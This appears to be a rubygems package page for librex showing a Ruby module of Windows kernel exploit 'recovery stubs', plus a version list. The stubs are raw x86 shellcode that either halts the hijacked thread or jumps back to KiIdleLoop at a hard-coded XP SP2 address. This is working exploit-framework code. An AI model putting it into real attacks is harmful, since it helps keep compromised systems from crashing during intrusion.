Sha256: f192c42a8dc12e19c4346d89fc8da1ecf8d3e38badfa62cdc52c5b285780965a

Contents?: true

Size: 1.29 KB

Versions: 43

Compression:

Stored size: 1.29 KB

Contents

module Rex
module Payloads
module Win32
module Kernel

#
# Recovery stubs are responsible for ensuring that the kernel does not crash.
# They must 'recover' after the exploit has succeeded, either by consuming
# the thread or continuing it on with its normal execution.  Recovery stubs
# will often be exploit dependent.
#
module Recovery

	#
	# The default recovery method is to spin the thread
	#
	def self.default(opts = {})
		spin(opts)
	end

	#
	# Infinite 'hlt' loop.
	#
	def self.spin(opts = {})
		"\xf4\xeb\xfd" 
	end

	#
	# Restarts the idle thread by jumping back to the entry point of
	# KiIdleLoop.  This requires a hard-coded address of KiIdleLoop.
	# You can pass the 'KiIdleLoopAddress' in the options hash.
	#
	def self.idlethread_restart(opts = {})
		# Default to fully patched XPSP2
		opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?

		"\x31\xC0" +                                     # xor eax,eax
		"\x64\xC6\x40\x24\x02" +                         # mov byte [fs:eax+0x24],0x2
		"\x8B\x1D\x1C\xF0\xDF\xFF" +                     # mov ebx,[0xffdff01c]
		"\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
		"\x6A\x00" +                                     # push byte +0x0
		"\xFF\xE0"                                       # jmp eax
	end

end

end
end
end
end

Version data entries

43 entries across 43 versions & 1 rubygems

Version Path
librex-0.0.65 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.63 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.54 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.53 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.52 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.51 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.50 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.49 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.48 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.47 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.46 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.44 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.43 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.42 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.41 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.40 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.39 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.38 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.37 lib/rex/payloads/win32/kernel/recovery.rb
librex-0.0.36 lib/rex/payloads/win32/kernel/recovery.rb